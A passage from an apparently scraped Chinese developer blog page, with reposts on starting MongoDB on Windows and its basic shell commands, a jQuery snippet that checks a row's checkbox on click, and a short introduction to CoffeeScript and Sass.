2,既然没启 动,那咱就启动呗,运行E:\MyProgram\mongodb-win32-i386-1.8.2\bin\mongod,可能会报错 误:dbpath (/data/db/) does not exist, terminating,看这样子,本人觉得还得在data文件夹下再建一个db文件夹啊,如此即新建一db文件夹,再运行mongod命令,结果提示一 样,不知道怎么搞啦,咱google吧
找到文章http://www.mongodb.org/display/DOCS/Starting+and+Stopping+Mongo
说“To start Mongo in default mode, where data will be stored in the /data/db directory (or c:\data\db on Windows), and listening on port 27017”,哦,原来默认的文档路径在c:\data\db,啥也不说,直接按这个建文件夹,再次运行命令mongod,OK了,启动成功,这个命令窗 口不能关闭,否则mongoDB就退出了

三,使用mongo命令
保持mongod命令窗口的运行状态,再新开一命令窗口
输入E:\MyProgram\mongodb-win32-i386-1.8.2\bin\mongo,出现
MongoDB shell version:1.8.2
connecting to:test
>
OK,连接成功。
1,show dbs  显示数据库列表
2,use Northwind 进入Northwind数据库,大小写敏感
3,show collections 显示数据库中的集合
4,db   用于查看当前所在的数据库
5,db.Customer.count() 查看集合Customer的记录总数
6,db.Customer.findOne({“_id”:”1″}) 查看CustomerId=1的记录

新增数据
1,use MyTest,这个数据库不存在,无所谓,mongo会创建,
MongoDB在使用前,并不要求您事先创建好相应的数据库,设计数据表结构!
在MongoDB中,没有【表】的概念,取而代之的是【集合】,也没有【数据记录】的概念,取而代之的是【文档】,我们可以把【文档】理解成一个【对象】,任意的对象,甚至可以有复杂的嵌套层次。
因此,我们不用再写代码从【数据表字段】到C#类的【属性,字段】的转换了,现在直接就可以读写整个对象了。
而且MongoDB不支持Join操作,所以,如果有【关联】操作,就需要你自己来处理
2,item={“Key”:”1″,”text”:”wokao”,”number”:3}
3,db.table1.insert(item),mongo将建立集合table1,并将item插入,完成了新增加数据库的工作
4,db.table1.find()显示table1中的数据,MongoDB的文档使用的是一种称为BSON格式的对象,与JavaScript中的JSON类似
5,额外的,输入item1={“Id”:5,”str”:”asdfasdf”},再插入db.table1.insert(item1),再用find()命令看,也插入成功了~,注意到结构和item不一样!但不建议这样做。
注意到:【每个文档有一个名为 “_id” 的成员】,我可没有定义啊。
其实,MongoDB会为每个文档都创建这样一个文档成员,我们指定的 “key”, “id” 对于MongoDB来说:它们并不是【文档的主键】,MongoDB只认 “_id”,你可以指定,但如果不指定,MongoDB就自动添加。

修改数据
1,var t=db.table1.findOne({“Id”:5}),获取一条记录
2,t.str=”wokao”
3,db.table1.update({“Id”:5},t)

删除数据
db.table1.remove({“Id”:5})

查找数据
上面已经有find和findOne命令,即用于查询
db.table1.find()
MongoDB的查询条件中,并没有 >, <, >= , <= 这些运算符,而是使用 “$lt”, “$lte”, “$gt”, “$gte”

新建表
db.MyTest.table2.save({})

删除表
db.table1.drop()或db.runCommand({“drop”,”table1″})

删除数据库
db.runCommand({“dropDatabase”: 1}),此命令只能删除当前数据库

获取服务端状态信息
db.runCommand({“serverStatus” : 1})

更多介绍查看
http://www.mongodb.org/display/DOCS/Home

https://github.com/samus/mongodb-csharp可以下到C#的示例

转载JQuery点击行 (tr)实现checkBox选中

mikel阅读(1107)

转载JQuery点击行 (tr)实现checkBox选中 – ゞ追忆o0ゞ – 博客园.

标题描述的有点不贴切,但希望大家能够明白,为了更形像的表达,我特意录制了一张GIF动画图片。

我不知道实际开发中有没有用到这种效果,但我个人认为,这种方式更人性化,因为只要点到一行,就可以使CheckBox.checked=true; 不用非得点复选按钮才能实现;

实现的过程有点纠结,试了几次都没成,最后用了一个笨笨的方法,就是点击行的时候,让他的子元素(td)的背景颜色为红色.(因为我用到了光棒效果,如果我点击行(td)的时候,颜色是变了,但鼠标一离开的时候就又变回原来的颜色了)

可能你会问我了,那你咋判断CheckBox的状态是不是checked(勾选状态)啊?

其 实我根本没去对它进行判断…. 希望大家不要喷我。我只是判断了一下选中行的子元素(td)的背景颜色和document.body的背景颜色是不是一样,如果一样,就让 CheckBox.checked=true,不一样就让CheckBox.checked=false.

思路就是这么个思路,如果谁还有更好的方法贴上来,大家一起学习学习..

JQuery中用到的方法:

first():第一个元素;

nextAll():在XX之后的所有元素:主要为了把第一行的表头去掉

children():查找子元素;

toggleClass();切换样式

attr():给CheckBox添加checked属性;

主要实现的代码:

       $(function () {
            //除了表头(第一行)以外所有的行添加click事件.
            $("tr").first().nextAll().click(function () {
                //为点击的这一行切换样式bgRed里的代码:background-color:#FF0000;
                $(this).children().toggleClass("bgRed");
                //判断td标记的背景颜色和body的背景颜色是否相同;
                if ($(this).children().css("background-color") != $(document.body).css("background-color")) {
                    //如果相同,CheckBox.checked=true;
                    $(this).children().first().children().attr("checked", true);

                } else {
                    //如果不同,CheckBox.checked=false;
                    $(this).children().first().children().attr("checked", false);
                }
            });
       });

[转载]CoffeeScript和Sass提高Web开发效率

mikel阅读(924)

[转载]CoffeeScript和Sass提高Web开发效率 – 葡萄城控件技术团队博客 – 博客园.

如果您是一位每天都要编写JavaScript和Css的Web前端开发人员,可能您已 经开始感觉到JavaScript的关键字 var, function, {} 要被您每天敲击若干遍。是否可以省掉这些重复的敲击。编写Css,先要一层一层的选到元素,然后开始写样式,如果要写下一层的样式,又要重复的选一次父层 元素然后再到子层,Css是否可以嵌套呢。

下面是同样功能的CoffeeScript和JavaScript的代码对比:

26_132831_rohvcs1

同样功能的Sass代码和Css代码的对比:

2

是不是CoffeeScript和Sass更加的简洁易懂,同时又省了很多代码? CoffeeScript和Sass都采用了简洁的Ruby语法风格,都是用代码生成代码,即用右边的CoffeeScript代码生成左边的 JavaScript代码,用Sass/Scss代码生成Css代码。这两个Library的作者都想用新的代码方式来省去一些重复的,有些”铺张”的代 码。
CoffeScript:
http://jashkenas.github.com/coffee-script/

CoffeeScript的一些有用特性:
1.  Lexical Scoping and Variable Safety
2.  If, Else, Unless, and Conditional Assignment
3.  The Existential Operator
4.  Classes, Inheritance, and Super
5.  Function binding
6.  Extended Regular Expressions

Sass:
http://sass-lang.com/

Sass 的一些有用特性:
1.  Variables: 变量以$开始,它能定义 颜色,数字,或者文字。
2.  Nesting: 嵌套,将选择器嵌入到其他层级的选择器。
3.  Mixins: 混合类型,允许抽象出性质的共同点,然后命名并且加入到选择器中。
4.  Selector Inheritance: 继承,继承其它选择器的属性。
5.  Functions: 函数,支持简单的算术操作,如+-×/,及函数。如:将某颜色亮度增加10%: lighten(red, 10%)。

欢迎大家在GCDN讨论~~